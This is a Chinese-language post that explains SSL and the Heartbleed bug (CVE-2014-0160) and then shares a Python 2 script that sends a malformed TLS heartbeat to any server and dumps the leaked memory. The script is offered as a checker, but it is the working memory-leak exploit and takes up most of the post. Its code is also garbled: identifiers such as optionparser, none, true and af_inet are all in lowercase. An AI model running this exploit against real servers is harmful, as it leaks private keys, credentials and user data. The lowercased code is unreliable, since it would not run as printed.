一个检测OpenSSL心脏出血漏洞的Python脚本分享

什么是ssl？

ssl是一种流行的加密技术，可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后，第三方无法读取你与该网站之间的任何通讯信息。在后台，通过ssl加密的数据只有接收者才能解密。

ssl最早在1994年由网景推出，1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞？

ssl标准包含一个心跳选项，允许ssl连接一端的电脑发出一条简短的信息，确认另一端的电脑仍然在线，并获取反馈。研究人员发现，可以通过巧妙的手段发出恶意心跳信息，欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗，并发送服务器内存中的信息。

谁发现的这个问题？

该漏洞是由codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低，研究人员已经与openssl团队和其他关键的内部人士展开了合作，在公布该问题前就已经准备好修复方案。

检测openssl心脏出血漏洞的python脚本

#!/usr/bin/python

# quick and dirty demonstration of cve-2014-0160 by jared stafford ([e-mail])
# the author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import optionparser

options = optionparser(usage='%prog server [options]', description='test for ssl heartbeat vulnerability (cve-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='tcp port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02x' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return none
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # eof?
            if not data:
                return none
            rdata += data
            remain -= len(data)
    return rdata

 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is none:
        print 'unexpected eof receiving record header - server closed connection'
        return none, none, none
    typ, ver, ln = struct.unpack('>bhh', hdr)
    pay = recvall(s, ln, 10)
    if pay is none:
        print 'unexpected eof receiving record payload - server closed connection'
        return none, none, none
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while true:
        typ, ver, pay = recvmsg(s)
        if typ is none:
            print 'no heartbeat response received, server likely not vulnerable'
            return false

        if typ == 24:
            print 'received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'warning: server returned more data than it should - server is vulnerable!'
            else:
                print 'server processed malformed heartbeat, but did not return any extra data.'
            return true

        if typ == 21:
            print 'received alert:'
            hexdump(pay)
            print 'server returned error, likely not vulnerable'
            return false

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.af_inet, socket.sock_stream)
    print 'connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'sending client hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'waiting for server hello...'
    sys.stdout.flush()
    while true:
        typ, ver, pay = recvmsg(s)
        if typ == none:
            print 'server closed connection without sending server hello.'
            return
        # look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0e:
            break

    print 'sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()